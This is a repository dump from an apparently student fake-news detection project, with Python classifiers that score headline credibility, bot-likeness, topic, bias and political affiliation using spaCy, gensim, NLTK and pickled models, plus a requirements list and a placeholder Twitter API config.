Step 3 - Open browser with 127.0.0.1/5000
For more information please see the [Google Doc](https://docs.google.com/document/d/17pD0K0t1YEezrfjzWo_tsMyBDtH1pCgkh3Z8pAdx5gI/edit?usp=sharing)
[](https://colab.research.google.com/drive/1MAPOE3_XRyD43abbRHEkOWoz8j90mGWZ?usp=sharing)
**Smooth Sailing AV**
[](https://colab.research.google.com/drive/1H0UR4-fYX3kzuIiz25MSLsFcu_7XbfRE?usp=sharing)
**Real Time Inference**
------------end-----------
<file_sep>/sigma/SIGMA.py
import pandas as pd
import numpy as np
import pickle
class NetworkBasedPredictor():
def __init__(self, filename):
self.model = self.load(filename)
def __convert2vector(self, tweetToPredict, nlp):
textToPredict = str(tweetToPredict)
review = nlp(textToPredict)
nlpx_tweet = []
vector_tweet=0
for token in review:
if(token.pos_ == 'NOUN' or token.pos_ == 'VERB' or token.pos_ == 'ADJ' or token.pos_ == 'PROPN'):
if (len(token.text) > 2 and token.text != 'https' ):
vector_tweet += (nlp.vocab[token.text].vector)
if len(review) != 0:
vector_tweet = vector_tweet / len(review)
nlpx_tweet.append(vector_tweet)
df_test_text = pd.DataFrame(nlpx_tweet)
return df_test_text
def __convert_prediction(self, prediction):
r = [0.16, 0.33, 0.49, 0.66, 0.83, 0.96]
return r[prediction[0]-1]
def load(self, path):
with open(path, 'rb') as file:
return pickle.load(file)
def predict(self, text, nlp, source=0):
df = self.__convert2vector(text, nlp)
df['node_rank'] = 0
return self.__convert_prediction(self.model.predict(df))
true_venue_labels = ['news','interview','television','show', 'speech', 'reporters', 'debate', 'newsletter', 'press', 'CNN', 'ABC', 'CBS', 'video', 'conference', 'official', 'book']
false_venue_labels = ['website', 'tweet', 'mail', 'e-mail', 'mailer', 'web', 'site', 'meme', 'comic', 'advertisement', 'ad', 'blog', 'flier',
'letter', 'social', 'tweets', 'internet', 'message', 'campaign', 'post', 'facebook', 'handout', 'leaflet', 'letter', 'fox' ]
true_statement_labels = ['original','true','mostly-true','half-true']
false_statement_labels = ['barely-true','false','pants-fire']
class VerifiableAuthenticity():
#Intialising and loading the pickled model
def __init__(self, filename):
# Load Model
self.model = None
with open(filename, 'rb') as file:
self.model = pickle.load(file)
# print(Pickled_Model)
# Function to calculate the venue score
def simplify_venue_label(self, venue_label):
if venue_label is np.nan:
return 0;
words = venue_label.split(" ")
for s in words:
if s in true_venue_labels:
return 1
elif s in false_venue_labels:
return 0
else:
return 1
def getAuthenticityScoreByVenue(self, src):
x = self.simplify_venue_label(src)
xTrain = np.array(x).reshape(-1, 1)
xPredicted = self.model.predict(xTrain)
xPredicedProb = self.model.predict_proba(xTrain)[:,1]
return float(xPredicedProb), xPredicted
def predict(self, statement='', venue=''):
concatStatement = ''
for str1 in statement:
concatStatement += str1+ ' '
venueAuth, _ = self.getAuthenticityScoreByVenue(venue)
#print(" values ", venueAuth, probValue)
score = 0.7 * venueAuth + 0.3 * 0.5
#print("score = ", score)
return float(score)
class Credibility():
def __init__(self, filename):
self.model = self.load(filename)
def predict( self, text, nlp ):
vector = self.__convert2vector(text, nlp)
predictTestCD = self.model.predict(vector)
predictTestCD = int(predictTestCD[0])
if predictTestCD == 0:
resultsCD = 'Non-Credible'
factorCD = 0.2
elif predictTestCD == 1 :
resultsCD = 'Credible'
factorCD = 0.8
return resultsCD, factorCD
def load( self, model2load ):
with open(model2load, 'rb') as file:
Pickled_Model = pickle.load(file)
# msg = "load a model." + model2load
return Pickled_Model
def save(self, filename):
with open(filename, 'wb') as file:
pickle.dump(self.model, file)
msg = "saved model " + filename
return msg
def __convert2vector(self, tweetToPredict, nlp):
textToPredict = str(tweetToPredict)
review = nlp(textToPredict)
nlpx_tweet = []
vector_tweet=0
n_tokens=0
for token in review:
if(token.pos_ == 'NOUN' or token.pos_ == 'VERB' or token.pos_ == 'ADJ' or token.pos_ == 'PROPN'):
if (len(token.text) > 2 and token.text != 'https' ):
vector_tweet += (nlp.vocab[token.text].vector)
n_tokens+=1
if n_tokens != 0:
vector_tweet = vector_tweet / n_tokens
nlpx_tweet.append(vector_tweet)
df_test_text = pd.DataFrame(nlpx_tweet)
return df_test_text
class MalicousAccount():
def __init__( self, filename ):
self.model = self.load(filename)
def predict( self, tweetText, nlp ):
tweetVector = self.__convert2vector(tweetText, nlp)
predictionResult = self.model.predict(tweetVector)
botScoreResult, labelResult = self.__predictionScore(predictionResult)
# print('label: ', predictionResult)
# print('label: ', labelResult)
# print('score: ', botScoreResult)
return predictionResult[0], botScoreResult, labelResult
def load( self, model2load ):
with open(model2load, 'rb') as file:
Pickled_Model = pickle.load(file)
return Pickled_Model
def save(self, filename):
with open(filename, 'wb') as file:
pickle.dump(self.model, file)
msg = "saved model " + filename
return msg
# Convert to verctor using word2Vec
def __convert2vector(self, tweetToPredict, nlp):
textToPredict = str(tweetToPredict)
review = nlp(textToPredict)
nlpx_tweet = []
vector_tweet=0
n_tokens=0
for token in review:
if(token.pos_ == 'NOUN' or token.pos_ == 'VERB' or token.pos_ == 'ADJ' or token.pos_ == 'PROPN'):
if (len(token.text) > 2 and token.text != 'https' ):
# print(token.text, " ---> ", token.pos_)
vector_tweet += (nlp.vocab[token.text].vector)
# print(vector_tweet)
n_tokens += 1
if n_tokens != 0:
vector_tweet = vector_tweet / n_tokens
nlpx_tweet.append(vector_tweet)
df_test_text = pd.DataFrame(nlpx_tweet)
return df_test_text
def __predictionScore(self, prediction):
# n_classes = ['Human', 'cyborg', 'botWallE', 'botT800' ]
if prediction == 1:
label = 'Human'
botScore = 0.90 #(1-0.8)/2
elif prediction == 2:
label = 'cyborg'
botScore = 0.70 #(0.8-0.6)/2
elif prediction == 3:
label = 'botWallE'
botScore = 0.50 #(0.6-0.4)/2
elif prediction == 4:
label = 'botT800'
botScore = 0.30 #(0.4-0.2)/2
else:
label = 'Allient'
botScore = 0.10 #(0.2-0.0)/2
return botScore, label
<file_sep>/requirements.txt
astroid==2.4.2
beautifulsoup4==4.9.3
blis==0.7.4
catalogue==1.0.0
certifi==2020.12.5
chardet==3.0.4
click==7.1.2
cymem==2.0.5
dateparser==0.7.6
feedparser==5.2.1
Flask==1.1.2
Flask-Cors==3.0.9
gensim==3.8.3
idna==2.10
isort==5.6.4
itsdangerous==1.1.0
Jinja2==2.11.2
joblib==0.17.0
lazy-object-proxy==1.4.3
MarkupSafe==1.1.1
mccabe==0.6.1
murmurhash==1.0.5
nltk==3.5
numpy==1.19.4
pandas==1.1.5
plac==1.1.3
preshed==3.0.5
pygooglenews==0.1.2
pylint==2.6.0
python-dateutil==2.8.1
pytz==2020.4
regex==2020.11.13
requests==2.25.0
scikit-learn==0.23.2
scipy==1.5.4
six==1.15.0
sklearn==0.0
smart-open==4.0.1
soupsieve==2.0.1
spacy==2.3.4
srsly==1.0.5
thinc==7.4.4
threadpoolctl==2.1.0
toml==0.10.2
tqdm==4.54.1
tzlocal==2.1
urllib3==1.26.2
wasabi==0.8.0
Werkzeug==1.0.1
wrapt==1.12.1
<file_sep>/cereal_killers/twitter_api.ini
[default]
accesstoken = <KEY>
accesstokensecret = <KEY>
apikey = <KEY>
apisecretkey = <KEY><file_sep>/girls_who_code/GIRLSWHOCODE.py
# -*- coding: utf-8 -*-
# load required libraries and read data
import pandas as pd
import numpy as np
import gensim
import string
import re
import nltk
import math
import pickle
from nltk.corpus import stopwords
from nltk.stem.snowball import SnowballStemmer
from gensim.models import word2vec
from nltk import word_tokenize
from nltk.stem import WordNetLemmatizer
from scipy import spatial
from gensim.models.doc2vec import TaggedDocument
from gensim.models import Doc2Vec
from wordcloud import WordCloud, STOPWORDS, ImageColorGenerator
from vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer
import spacy
from string import punctuation
from scipy.stats import wasserstein_distance
import tensorflow as tf
import ktrain
import textstat
"""AlternusVera_Topic_LDA_Sprint4.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1gxwoiBlbXvC4Qehnx07hlIG_ju37H_dh
"""
class Topics_with_LDA_Bigram:
def __init__(self, filenameModelLog):
self.modelLog = self.__load(filenameModelLog)
def __load(self, path):
with open(path, 'rb') as file:
return pickle.load(file)
def encodeLabel(self, df):
df.Label[df.Label == 'FALSE'] = 0
df.Label[df.Label == 'half-true'] = 1
df.Label[df.Label == 'mostly-true'] = 1
df.Label[df.Label == 'TRUE'] = 1
df.Label[df.Label == 'barely-true'] = 0
df.Label[df.Label == 'pants-fire'] = 0
return df
def sent_to_words(self, sentences):
# Gensim
import gensim
import gensim.corpora as corpora
from gensim.utils import simple_preprocess
from gensim.models import CoherenceModel
for sentence in sentences:
yield(gensim.utils.simple_preprocess(str(sentence), deacc=True)) # deacc=True removes punctuations
def data_preprocess(self, df):
dt_processed = df.News.values.tolist()
# Remove new line characters
dt_processed = [re.sub(r'[^\w\s]','',sent) for sent in dt_processed]
dt_processed = [re.sub("'"," ",sent) for sent in dt_processed]
data_words_processed = list(self.sent_to_words(dt_processed))
return data_words_processed
# Define functions for stopwords, bigrams, trigrams and lemmatization
def remove_stopwords(self, texts):
from nltk.corpus import stopwords
from gensim.utils import simple_preprocess
import nltk
nltk.download('stopwords', quiet=True)
stop_words = stopwords.words('english')
stop_words.extend(['from', 'subject', 're', 'edu', 'use'])
return [[word for word in simple_preprocess(str(doc)) if word not in stop_words] for doc in texts]
def lemmatization(self, texts):
# spacy for lemmatization
"""https://spacy.io/api/annotation"""
nlp = spacy.load('en', disable=['parser', 'ner'])
texts_out = []
for sent in texts:
doc = nlp(" ".join(sent))
texts_out.append([token.lemma_ for token in doc])
return texts_out
def extract_bigrams(self, data):
from nltk.util import ngrams
n_grams = ngrams(data, 2)
return ['_'.join(grams) for grams in n_grams]
def create_bigrams(self):
Bigrams = []
for i in range(len(data_words_processed)):
Bigrams.append(self.extract_bigrams(data_words_processed[i]))
return Bigrams
def lda_model_final(self, corpus, id2word):
# Gensim
import gensim
import gensim.corpora as corpora
from gensim.utils import simple_preprocess
from gensim.models import CoherenceModel
lda_model_bigram_scrapped = gensim.models.ldamodel.LdaModel(corpus=corpus,
id2word=id2word,
num_topics=20,
random_state=100,
update_every=1,
chunksize=100,
passes=10,
alpha='auto',
per_word_topics=True)
return lda_model_bigram_scrapped
def format_topics_sentences(self, ldamodel, corpus, texts):
# Init output
sent_topics_df = pd.DataFrame()
# Get main topic in each document
for i, row in enumerate(ldamodel[corpus]):
row = sorted(row[0], key=lambda x: (x[1]), reverse=True)
# Get the Dominant topic, Perc Contribution and Keywords for each document
for j, (topic_num, prop_topic) in enumerate(row):
if j == 0: # => dominant topic
wp = ldamodel.show_topic(topic_num)
topic_keywords = ", ".join([word for word, prop in wp])
sent_topics_df = sent_topics_df.append(pd.Series([int(topic_num), round(prop_topic,4), topic_keywords]), ignore_index=True)
else:
break
sent_topics_df.columns = ['Dominant_Topic', 'Perc_Contribution', 'Topic_Keywords']
# Add original text to the end of the output
contents = pd.Series(texts)
sent_topics_df = pd.concat([sent_topics_df, contents], axis=1)
return (sent_topics_df)
#Calculate sentiment polarity and find the max value. Normalize the encoded label values.
def sentiment_analyzer_scores(self, df):
analyser = SentimentIntensityAnalyzer()
sentiment_score = []
sentiment_labels = {0:'negative', 1:'positive', 2:'neutral'}
for index,row in df.iterrows():
score = analyser.polarity_scores(row['News'])
values = [score['neg'], score['pos'], score['neu']]
max_index = values.index(max(values))
data = {'sentiment_score':score, 'sentiment_label':sentiment_labels[max_index], 'sentiment_label_encode': 1+math.log(max_index+1)}
sentiment_score.append(data)
return sentiment_score
#Scalar Vector for testing dataset
def testing_dataset_vector(self, df_testing):
vec_testing = []
for i in range(len(df_testing['sentiment_encode'])):
vec = df_testing['sentiment_encode'].iloc[i] + df_testing['Topic_Score'].iloc[i]
vec_testing.append(vec)
return vec_testing
def getTopicScoreBigramLDAModel(self, headline):
# Gensim
import gensim
import gensim.corpora as corpora
from gensim.utils import simple_preprocess
from gensim.models import CoherenceModel
#load the model
cols = [[headline]]
df_testing = pd.DataFrame(cols,columns=['News'])
df_testing.head()
#encoding the label from text to numeric value
#df_testing = self.encodeLabel(df_testing)
#data pre-process
dt_words_processed = self.data_preprocess(df_testing)
# Remove Stop Words
dt_nostops = self.remove_stopwords(dt_words_processed)
# Form Bigrams
dt_words_bigrams = []
for i in range(len(dt_nostops)):
dt_words_bigrams.append(self.extract_bigrams(dt_nostops[i]))
# Do lemmatization keeping only noun, adj, vb, adv
dt_lemmatized = self.lemmatization(dt_words_bigrams)
# Create Dictionary
id2word = corpora.Dictionary(dt_lemmatized)
# Create Corpus
texts = dt_lemmatized
# Term Document Frequency
corpus = [id2word.doc2bow(text) for text in texts]
#Bigram LDA Model
lda_model_bigram = self.lda_model_final(corpus, id2word)
#
dt_topic_sents_keywords = self.format_topics_sentences(ldamodel=lda_model_bigram, corpus=corpus, texts=dt_words_processed)
# Format
dt_dominant_topic = dt_topic_sents_keywords.reset_index()
dt_dominant_topic.columns = ['Document_No', 'Dominant_Topic', 'Topic_Score', 'Keywords', 'Text']
# Show
dt_dominant_topic.head()
#Distillation - Sentiment analysis score
sentiment_score_dt = self.sentiment_analyzer_scores(df_testing)
#append dataset with sentiment label and normalized encoded value
sentiment_score = pd.DataFrame(sentiment_score_dt)
df_testing['sentiment'] = sentiment_score['sentiment_label']
df_testing['sentiment_encode'] = sentiment_score['sentiment_label_encode']
df_testing['Keywords'] = dt_dominant_topic['Keywords']
df_testing['Dominant_Topic'] = dt_dominant_topic['Dominant_Topic']
df_testing['Topic_Score'] = dt_dominant_topic['Topic_Score']
#Get test data for classification
X_test = np.array(self.testing_dataset_vector(df_testing))
X_test = X_test.reshape(-1, 1)
predicted = self.modelLog.predict(X_test)
predicedProb = self.modelLog.predict_proba(X_test)[:,1]
score = 1 - float(predicedProb)
return score
#BIAS
# -*- coding: utf-8 -*-
"""girlswhocode_Bias.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1JCKztviIQ2xT_h23kfLw1eloKMSmkFSQ
"""
class Gwc_Bias():
def __init__(self, filenameModelBias):
self.modelBias = self.__load(filenameModelBias)
def __load(self, path):
with open(path, 'rb') as file:
return pickle.load(file)
def cleaning(self, raw_news):
import nltk
from nltk.stem.wordnet import WordNetLemmatizer
lemmatizer = nltk.WordNetLemmatizer()
from nltk.corpus import stopwords
nltk.download('punkt', quiet=True)
nltk.download('averaged_perceptron_tagger', quiet=True)
nltk.download('wordnet', quiet=True)
nltk.download('stopwords', quiet=True)
# 1. Remove non-letters/Special Characters and Punctuations
news = re.sub("[^a-zA-Z]", " ", raw_news)
# 2. Convert to lower case.
news = news.lower()
# 3. Tokenize.
news_words = nltk.word_tokenize(news)
# 4. Convert the stopwords list to "set" data type.
stops = set(nltk.corpus.stopwords.words("english"))
# 5. Remove stop words.
words = [w for w in news_words if not w in stops]
# 6. Lemmentize
wordnet_lem = [ WordNetLemmatizer().lemmatize(w) for w in words ]
# 7. Stemming
#stems = [nltk.stem.SnowballStemmer('english').stem(w) for w in wordnet_lem ]
# 8. Join the stemmed words back into one string separated by space, and return the result.
return " ".join(wordnet_lem)
def process_text(self, text):
result = text.replace('/', '').replace('\n', '')
result = re.sub(r'[1-9]+', 'number', result)
result = re.sub(r'(\w)(\1{2,})', r'\1', result)
result = re.sub(r'(?x)\b(?=\w*\d)\w+\s*', '', result)
result = ''.join(t for t in result if t not in punctuation)
result = re.sub(r' +', ' ', result).lower().strip()
return result
def get_pos(self, text):
import nltk
from nltk import word_tokenize, pos_tag
tokens = [nltk.word_tokenize(text)]
postag = [nltk.pos_tag(sent) for sent in tokens][0]
pos_list = []
for tag in postag:
if (tag[1].startswith('NN') or tag[1].startswith('JJ') or tag[1].startswith('VB')):
pos_list.append(tag[0])
return pos_list
def get_intersection(self, pos, bias_list):
return len(list(set(pos) & set(bias_list)))
def get_wasserstein_dist(self, total_spin, total_subj, total_sens, sentiment_score):
dist_from_bias = wasserstein_distance([1, 2, 0, 0.1531], [total_spin, total_subj, total_sens, sentiment_score])
dist_from_unbias = wasserstein_distance([0, 0, 0, 0], [total_spin, total_subj, total_sens, sentiment_score])
dist_btn = abs(dist_from_bias - dist_from_unbias)
if (dist_from_bias < dist_btn/3):
return 1 #highly_biased
elif (dist_from_unbias < dist_btn/3):
return 3 #least biased
else:
return 2
def get_senti(self, sentence):
import nltk.sentiment
nltk.download('vader_lexicon', quiet=True)
senti = nltk.sentiment.vader.SentimentIntensityAnalyzer()
sentimentVector = []
snt = senti.polarity_scores(sentence)
sentimentVector.append(snt['neg'])
sentimentVector.append(snt['neu'])
sentimentVector.append(snt['pos'])
sentimentVector.append(snt['compound'])
return sentimentVector
def get_encoded_label(self, label):
if (label == 'false' or label =='barely-true' or label =='pants-fire' or label == 'FALSE'):
return 0
elif ( label =='half-true' or label == 'mostly-true' or label == 'TRUE' or label =='true'):
return 1
def get_bias_score(self, text):
#creating the dataframe with our text so we can leverage the existing code
dfrme = pd.DataFrame(index=[0], columns=['text'])
dfrme['text'] = text
#bias dict
subjective_words = ['good','better', 'best', 'bad', 'worse', 'worst', 'considered', 'dangerous', 'seemingly', 'suggests', 'decrying', 'apparently', 'possibly', 'could', 'would']
sensationalism_words = ['shocking', 'remarkable', 'rips', 'chaotic', 'lashed', 'onslaught', 'scathing', 'showdown', 'explosive','slams', 'forcing','warning','embroiled','torrent', 'desperate']
spin_words = ['emerge','serious','refuse','crucial','high-stakes','tirade','landmark','major','critical','decrying','offend','stern','offensive','meaningful','significant','monumental','finally','concede','dodge','latest','admission','acknowledge','mock','rage','brag','lashed','scoff','frustrate','incense','erupt','rant','boast','gloat','fume',]
#Creating some latent variables from the data
dfrme['clean'] = dfrme['text'].apply(lambda x: self.cleaning(x))
dfrme['clean'] = dfrme['clean'].apply(lambda x: self.process_text(x))
dfrme['num_words'] = dfrme['clean'].apply(lambda x: len(x.split()))
dfrme['pos'] = dfrme['clean'].apply(lambda x: self.get_pos(x))
dfrme['sentiment_vector'] = dfrme['clean'].apply(lambda x: self.get_senti(x))
dfrme['sentiment_score'] = dfrme['sentiment_vector'].apply(lambda x: x[1:][-1])
dfrme['total_spin_bias'] = dfrme['pos'].apply(lambda x: self.get_intersection(x, spin_words))
dfrme['total_subj_bias'] = dfrme['pos'].apply(lambda x: self.get_intersection(x, subjective_words))
dfrme['total_sens_bias'] = dfrme['pos'].apply(lambda x: self.get_intersection(x, sensationalism_words))
dfrme['total'] = dfrme.apply(lambda x: x.total_spin_bias + x.total_subj_bias + x.total_sens_bias, axis=1)
dfrme['bias'] = dfrme.apply(lambda x: self.get_wasserstein_dist(x.total_spin_bias, x.total_subj_bias, x.total_sens_bias, x.sentiment_score), axis =1)
Xtxt = dfrme['bias'].values.reshape(-1, 1)
predicted = self.modelBias.predict(Xtxt)
predicedProb = self.modelBias.predict_proba(Xtxt)[:,1]
#return predicted, predicedProb
score = 1 - float(predicedProb)
return score
"""girlswhocode_political_affiliation.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/174UwkYutB7AJvFMiEBY0DbC0eEiPfPOd
"""
class Girlswhocode_PoliticalAfiiliation:
nltk.download('stopwords', quiet=True)
def __init__(self, filenameModelPA, partyAffiliationDict, newDict, train):
self.modelPA = self.__load(filenameModelPA)
self.partyAffiliationDict = partyAffiliationDict
self.newDict = newDict
self.train = train
def __load(self, path):
with open(path, 'rb') as file:
return pickle.load(file)
#label encoding
def encode_news_type(self, input_label):
true_labels = ['original','true','mostly-true','half-true']
false_labels = ['barely-true','false','pants-fire']
if input_label in true_labels:
return 1
else:
return 0
#method to remove punctuations from textual data
def remove_punctuation(self, text):
translator = str.maketrans('', '', string.punctuation)
return text.translate(translator)
#Remove stop words
def remove_stopwords(self, text):
sw = stopwords.words('english')
stemmer = SnowballStemmer("english")
text = [word.lower() for word in text.split() if word.lower() not in sw]
return " ".join(text)
#Lemmetize and pos tagging
def lemmatize_stemming(self, text):
sw = stopwords.words('english')
stemmer = SnowballStemmer("english")
return stemmer.stem(WordNetLemmatizer().lemmatize(text, pos='v'))
#Stemming
def stemming(self, text):
sw = stopwords.words('english')
stemmer = SnowballStemmer("english")
text = [stemmer.stem(word) for word in text.split()]
return " ".join(text)
def text_preprocess(self, df):
#encode labels
#df['encoded_label'] = df.apply(lambda row: encode_news_type(row['label']), axis=1)
#convert to lower case
df['headline_text'] = df['headline_text'].str.lower()
#remove stop words
df['headline_text'] = df['headline_text'].apply(self.remove_stopwords)
#spell check
#df['headline_text'] = df['headline_text'].apply(spell_checker)
#Lemmetize
df['headline_text'] = df['headline_text'].apply(self.lemmatize_stemming)
#stemming
df['headline_text'] = df['headline_text'].apply(self.stemming)
#remove punctuation
df['headline_text'] = df['headline_text'].apply(self.remove_punctuation)
#remove less than 3 letter words
df['headline_text'] = df.headline_text.apply(lambda i: ' '.join(filter(lambda j: len(j) > 3, i.split())))
return df[['headline_text', 'partyaffiliation']]
def train_preprocess(self, df):
#encode labels
df['encoded_label'] = df.apply(lambda row: self.encode_news_type(row['label']), axis=1)
#convert to lower case
df['headline_text'] = df['headline_text'].str.lower()
#remove stop words
df['headline_text'] = df['headline_text'].apply(self.remove_stopwords)
#spell check
#df['headline_text'] = df['headline_text'].apply(spell_checker)
#Lemmetize
df['headline_text'] = df['headline_text'].apply(self.lemmatize_stemming)
#stemming
df['headline_text'] = df['headline_text'].apply(self.stemming)
#remove punctuation
df['headline_text'] = df['headline_text'].apply(self.remove_punctuation)
#remove less than 3 letter words
df['headline_text'] = df.headline_text.apply(lambda i: ' '.join(filter(lambda j: len(j) > 3, i.split())))
return df[['headline_text', 'subject', 'speaker', 'speakerjobtitle', 'stateinfo', 'partyaffiliation', 'context', 'encoded_label']]
def encode_party_affiliation_type(self, input_label):
labels = ['democrat','republican','independent']
if input_label not in labels:
return str('other')
else:
return input_label
def convert_partyaffiliation_category(self, df):
partyaffiliation_dict = {'independent':4, 'other':3, 'democrat':2, 'republican':1}
pa = []
for index,row in df.iterrows():
pa.append(partyaffiliation_dict[row['partyaffiliation']])
return pa
def tag_headline(self, df, label):
tagged_text = []
for index, row in df.iterrows():
tagged_text.append(TaggedDocument(words=word_tokenize(row['headline_text']), tags=[row[label]]))
return tagged_text
def get_issues_vector(self, df_testing,issues):
text_test = ' '.join(issues)
vector = []
for row in df_testing.headline_text:
# tokenization
head_line = str(row)
text_list = word_tokenize(text_test)
headline_list = word_tokenize(head_line)
# sw contains the list of stopwords
sw = stopwords.words('english')
l1 =[];l2 =[]
# remove stop words from the string
X_set = {w for w in text_list} #if not w in sw}
Y_set = {w for w in headline_list} #if not w in sw}
# form a set containing keywords of both strings
rvector = X_set.union(Y_set)
for w in rvector:
if w in X_set: l1.append(1) # create a vector
else: l1.append(0)
if w in Y_set: l2.append(1)
else: l2.append(0)
c = 0
#cosine formula
for i in range(len(rvector)):
c+= l1[i]*l2[i]
if c == 0:
vector.append(0)
else:
cosine = c / float((sum(l1)*sum(l2))**0.5)
vector.append(cosine)
return vector
def computeTF(self, df, dictionary):
TF = []
dict_words = dictionary['word'].unique()
for index, row in df.iterrows():
row_freq = []
words = row['headline_text'].split()
for i in range(len(dict_words)):
frequency = float(words.count(dict_words[i])/len(dict_words))
row_freq.append(frequency)
TF.append(row_freq)
return TF
#Calculate IDF for the dictionary
import math
def computeIDF(self, df, dictionary):
IDF = []
dict_words = dictionary['word'].unique()
num_of_docs = len(df)
for i in range(len(dict_words)):
count = 0
for index,row in df.iterrows():
if dict_words[i] in row['headline_text']:
count += 1
if count == 0:
IDF.append(0)
else:
IDF.append(math.log(num_of_docs/count))
return IDF
#Calculate TF-IDF for each headline text based on the dictionary created
def computeTFIDF(self, TF, IDF):
TFIDF = []
IDF = np.asarray(IDF)
for j in TF:
tfidf = np.asarray(j) * IDF.T
TFIDF.append(tfidf)
return TFIDF
def sentiment_analyzer_scores(self, df):
analyser = SentimentIntensityAnalyzer()
sentiment_score = []
sentiment_labels = {0:'negative', 1:'positive', 2:'neutral'}
for index,row in df.iterrows():
score = analyser.polarity_scores(row['headline_text'])
values = [score['neg'], score['pos'], score['neu']]
max_index = values.index(max(values))
data = {'senti_score':score, 'senti_label':sentiment_labels[max_index], 'senti_label_encode': 1+math.log(max_index+1)}
sentiment_score.append(data)
return sentiment_score
#tokenization - process of splitting text to words
def get_word_tokens(self, text):
result = []
for token in gensim.utils.simple_preprocess(text):
if len(token) > 3:
result.append(token)
return result
"""def get_dictionary(df):
documents = df_train[['headline_text']]
processed_docs = documents['headline_text'].map(get_word_tokens)
dictionary = gensim.corpora.Dictionary(processed_docs)
bow_corpus = [dictionary.doc2bow(doc) for doc in processed_docs]
lda_model = gensim.models.LdaMulticore(bow_corpus, num_topics=10, id2word=dictionary, passes=2, workers=2)"""
def identify_topic_number_score(self, text,df_train):
documents = df_train[['headline_text']]
processed_docs = documents['headline_text'].map(self.get_word_tokens)
dictionary = gensim.corpora.Dictionary(processed_docs)
bow_corpus = [dictionary.doc2bow(doc) for doc in processed_docs]
lda_model = gensim.models.LdaMulticore(bow_corpus, num_topics=10, id2word=dictionary, passes=2, workers=2)
bow_vector = dictionary.doc2bow(self.get_word_tokens(text))
topic_number , topic_score = sorted(lda_model[bow_vector], key=lambda tup: -1*tup[1])[0]
return pd.Series([topic_number, topic_score])
"""def get_political_affiliation_test_vector(df, doc2vec_model_pa_test):
#doc2vec_model_pa_test = Doc2Vec(documents = tagged_pa_text_test, dm=0, num_features=500, min_count=2, size=20, window=4)
pa_test = []
for i in range(len(df['partyaffiliation_encode'])):
pa_value = df['partyaffiliation_encode'][i]
pa = doc2vec_model_pa_test[pa_value] + df['sentiment_encode'][i] + df['topic_score'][i] +df['republican_vector'][i]+df['democrats_vector'][i]+df['liberterian_vector'][i]
pa_test.append(pa)
return pa_test"""
def predict(self, model, X_test):
y_pred = model.predict(X_test)
predicted_proba = model.predict_proba(X_test)[:,1]
return y_pred, predicted_proba
def DATAMINERS_getPartyAffiliationScore(self, headline, party):
test = [[headline, party]]
#creating the dataframe
df_testing = pd.DataFrame(test,columns=['headline_text','partyaffiliation'])
#preprocessing of the text
df_testing = self.text_preprocess(df_testing)
#encoding partyaffiliation
pa_encode_test = pd.DataFrame(self.convert_partyaffiliation_category(df_testing))
df_testing['partyaffiliation_encode'] = pa_encode_test
#issues related to democrats,republicans and libertarian
democrats_issues = ['minimum wage', 'health care','education','environment','renewable energy','fossil fuels']
libertarian_issues = ['taxes','economy','civil liberties','crime and justice','foreign policy','healthcare','gun ownership','war on drugs','immigration']
republican_issues =['Abortion and embryonic stem cell research','Civil rights','Gun ownership','Drugs','Education','Military service','Anti-discrimination laws']
df_testing['republican_vector'] = self.get_issues_vector(df_testing,republican_issues)
df_testing['democrats_vector'] = self.get_issues_vector(df_testing,democrats_issues)
df_testing['liberterian_vector'] = self.get_issues_vector(df_testing,libertarian_issues)
#party_affiliation_dict = pd.read_csv('/content/drive/MyDrive/MLFall2020/girlswhocode/datasets/Alternusvera_dataset/party_affiliaiton_dict.csv')
party_affiliation_dict = pd.read_csv(self.partyAffiliationDict)
TF_scores = self.computeTF(df_testing, party_affiliation_dict)
IDF_scores = self.computeIDF(df_testing, party_affiliation_dict)
TFIDF_scores = self.computeTFIDF(TF_scores, IDF_scores)
#append tfidf score to the dataframe
tfidf_test = []
for i in range(len(TFIDF_scores)):
tfidf_test.append(max(TFIDF_scores[i]))
df_testing['tfidf'] = tfidf_test
#tfidf wrt issues, get the issues dictionary which has the frequency of all the issues
#issues_dict = pd.read_csv('/content/drive/MyDrive/MLFall2020/girlswhocode/datasets/Alternusvera_dataset/new_dict.csv')
issues_dict = pd.read_csv(self.newDict)
TFissues_scores = self.computeTF(df_testing, issues_dict)
IDFissues_scores = self.computeIDF(df_testing, issues_dict)
TFIDFissues_scores = self.computeTFIDF(TFissues_scores, IDFissues_scores)
#append issues score to the dataframe
tfidf_issues = []
for i in range(len(TFIDFissues_scores)):
tfidf_issues.append(max(TFIDFissues_scores[i]))
df_testing['issues_score'] = tfidf_issues
#get sentiment score related to party
sentiment_score_input = self.sentiment_analyzer_scores(df_testing)
sentiment_score_input = pd.DataFrame(sentiment_score_input)
df_testing['sentiment'] = sentiment_score_input['senti_label']
df_testing['sentiment_encode'] = sentiment_score_input['senti_label_encode']
#load train dataset to get the dictionary of issues to calculate the topic score of each headline text
colnames = ['jsonid', 'label', 'headline_text', 'subject', 'speaker', 'speakerjobtitle', 'stateinfo','partyaffiliation', 'barelytruecounts', 'falsecounts','halftruecounts','mostlytrueocunts','pantsonfirecounts','context']
#df_train = pd.read_csv('/content/drive/MyDrive/MLFall2020/girlswhocode/datasets/Alternusvera_dataset/train.tsv', sep='\t', names = colnames,error_bad_lines=False)
df_train = pd.read_csv(self.train, sep='\t', names = colnames,error_bad_lines=False)
#preprocess the df_train headline_text
df_train = self.train_preprocess(df_train)
#get topic score related to party
df_testing[['topic_number','topic_score']] = df_testing.apply(lambda row: self.identify_topic_number_score(row['headline_text'],df_train), axis=1)
#get the tagged text fot the headline
tagged_pa_text_test = self.tag_headline(df_testing, 'partyaffiliation_encode')
X_test = []
for i in range(len(df_testing['partyaffiliation_encode'])):
pa_value = df_testing['partyaffiliation_encode'][i]
pa = df_testing['sentiment_encode'].iloc[i] + df_testing['topic_score'].iloc[i] +df_testing['republican_vector'].iloc[i]+df_testing['democrats_vector'].iloc[i]+df_testing['liberterian_vector'].iloc[i]+df_testing['tfidf'].iloc[i]+df_testing['issues_score'].iloc[i]
X_test.append(pa)
X_test = np.array(X_test)
X_test = X_test.reshape(-1,1)
#load the saved model
# fakenews_classifier = pickle.load(open('/content/drive/MyDrive/MLFall2020/girlswhocode/models/political_affiliation_model.sav', 'rb'))
#predict the test input
# binary_value_predicted, predicted_proba = self.predict(fakenews_classifier, X_test)
